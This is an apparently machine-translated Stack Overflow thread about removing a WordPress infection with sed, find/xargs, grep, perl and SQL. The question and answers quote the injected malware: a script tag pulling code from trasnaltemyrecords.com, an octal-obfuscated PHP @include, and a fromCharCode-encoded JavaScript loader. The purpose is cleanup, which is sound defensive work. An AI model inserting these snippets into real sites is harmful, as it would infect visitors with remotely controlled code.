如何使用sed或可能的grep替换整个字符串


10

因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

我确实使用grep通过grep搜索

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

我正在尝试将其替换为整个文件结构,sed并编写了以下命令。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

我想先替换单个文件上的字符串index.php,所以我知道它可以工作。

而且我知道我的代码是错误的。请帮我解决一下这个。

我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

在删除所有内容的同时,我希望保留php开头标签<?php

尽管@slybloty的解决方案很简单并且有效。

以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'-删除@include线
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' -删除注释行

另外,我再次为运行了所有3条命令'*.html',因为黑客的脚本在所有目录中创建了不需要的index.html。我不确定是否批量删除这些index.html是正确的方法。

现在,我仍然需要找出垃圾文件及其痕迹。

黑客脚本也添加了JS代码。

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

尝试看看我是否也可以sed


您怎么知道您的代码是错误的?
Beta

因为,我运行了它,并不断在下一行中要求更多输入,如`>`
Dilip Gupta

2
您不能删除该行吗?SED -i '/ trasnaltemyrecords / d'
伊兰本-纳坦

1
另外,您可以在其中添加grep来馈入所有带有此行的文件,如下所示:while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l选项仅提供文件名而不提供匹配的文本。
杰森

1
还有一件事...如果采用这种方法,我将利用的“ backup”可选参数sed -i。例如,sed -i.bak将为*.bak所有已编辑的文件创建一个文件。与while...grep循环一起使用时,您将仅备份包含该字符串的文件。对不起所有其他评论,但在我看来,恶意软件是一种“举手投足”的方案。
杰森

Answers:


2

"对字符串使用双引号(),并且不要转义单引号(')或标签(<>)。仅转义斜线(/)。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

无论您决定与sed一起使用哪种方法,都可以使用find和完善的筛选选项对多个文件同时运行多个进程xargs。例如:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

它会:

  • find - 找
  • -type f -仅文件
  • -name '*.txt' -以php结尾
  • -print0 -将它们以零字节分开
  • | xargs -0 -对于每个文件,以零字节分隔
  • -P7 -同时运行7个进程
  • -n1 -对于每个文件
  • sed -对于每个运行的文件sed
  • -i -就地编辑文件
  • '...' -您要从其他答案中运行的sed脚本。

您可能需要添加-t选项xargs以查看进度。参见man find(man args)(http://man7.org/linux/man-pages/man1/xargs.1.html)。


2

单引号实际上不带转义符。在中var='hello\'',您有未关闭的报价。

要解决此问题,1)使用双引号将sed命令引起来 2)终止单引号字符串,添加\',然后重新打开引号字符串。

但是,第二种方法更令人困惑。

此外,sed可以使用任何定界符来分隔命令。由于命令中有斜杠,因此使用逗号更容易。例如,使用第一种方法:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

使用第二种方法:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

这个例子比实际更具教育意义。这里是如何'\''工作的:

第一':结束当前引用的文字字符串

\':输入单引号作为文字字符

第二':重新输入带引号的文字字符串

只要那里没有空格,您就可以继续sed执行命令。这个想法是唯一的bash

我要离开那逃脱的人<>在那里,因为我不完全确定你在做什么。 sed使用\<\>表示单词匹配。我不确定这是否是故意的。

如果这不匹配任何内容,则可能要避免转义<and >

编辑:请参阅@ EranBen-Natan的解决方案,以获取针对实际问题的更实际解决方案。我的答案更多地是关于为什么OP被提示使用其原始命令进行更多输入的资源。

解决方案2

为此,我假设您sed具有非标准选项-z。GNU版本sed应该有这个。我还假设此代码始终以6行长的格式出现

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

工作原理:我们使用fromCharCode行的开头来匹配所有内容。 -z将文件拆分为null而不是换行。这使我们可以直接搜索换行。

[^\n]*\n-这会匹配所有内容,直到换行,然后再匹配换行,避免贪婪的正则表达式匹配。因为我们没有在换行符(-z)上进行拆分,所以正则表达式会var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n匹配最大的匹配项。例如,如果\n}\n出现在文件中更远的位置,则您将删除该文件和恶意代码之间的所有代码。因此,重复此序列6次将我们匹配到第一行以及接下来的5行的末尾。

grep -lr-只是递归的grep,我们只列出具有匹配模式的文件。这样,sed并不是编辑每个文件。没有这个,-i.bak(不是普通的-i)会变得一团糟。


谢谢@Jason,我将为此尝试您的方法。现在,我没有备份选项。所以我坚持清洁它。
Dilip Gupta,

@DilipGupta我建议备份您现在所在的位置。您可以使用类似rsync备份和还原的方式。
杰森

您使用adminer.php吗?似乎具有
感染力

1

您是否安装了wp-mail-smtp插件?我们拥有相同的恶意软件,并且里面有一些奇怪的东西wp-content/plugins/wp-mail-smtp/src/Debug.php

此外,javascript链接位于WordPress数据库中的每个post_content字段中wp_posts


是的,我确实已经安装了该插件,并且就像您说的那样在那里。我正在尝试先清理然后再加强安全性。还要注意,黑客确实安装了名为的插件super-socialat,并进行检查。
Dilip Gupta

您在那个Debug.php中究竟找到了什么,我没有在其中找到任何奇怪的东西,但也许将其存储在另一个文件中,如果您提供一些代码,我也许可以搜索这些文件?找不到安装的新插件。
吉罗·马逊森

1
您使用什么编辑器?如果我在vim中打开它,我会看到那个奇怪的东西,但是在nano或诸如Geany之类的编辑器中则看不到...。imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

嗨,我一直在通过winscp查看,但是现在也尝试了vi,仍然没有发现任何东西。Tnx很多,例如Ill tr​​i在文件中搜索它。
吉罗·马森森

从某些角度看,它似乎是一条使用$ GLOBALS变量中的字母位置或类似名称编写的sql语句,因此无法通过简单地寻找“ trasnaltemyrecords”来找到它,我试图寻找grep -r“ NULL ); @ $“ / var / www / html / { }或其他内容,但一无所获。无论如何,我在wordpress页面上有一个旧的adminer.php,因此也可能是该泄漏的根源,也许..
Jiro Matchonson

0

今天我有同样的事情,所有页面帖子都添加了这个讨厌的病毒脚本

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

我通过数据库禁用了它

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

我至少没有感染文件

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

没有找到任何东西,但我不知道这是如何进入数据库的,这一点都不平静。

这种感染导致页面上的重定向,chrome大多会检测到并阻止此行为。在/wp-mail-smtp/src/Debug.php中没有发现任何奇怪的东西


我认为这与某些插件的中断有关,并且黑客获得了对该网站的后门访问权限。
Dilip Gupta,

但是哪一个插件2小时过去了,一切又重新重定向
Jiro Matchonson

0

今天我有同样的事情,所有页面帖子都添加了脚本。我已经通过使用https://en.wordpress.org/plugins/search-and-replace/插件成功地处理了它们。

此外,我还在wp_posts表的post_content列中找到了一条以下字符串的记录:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

并手动将其删除。


0

对我来说,这是:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

您必须搜索:* .js,*。json,*。map

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.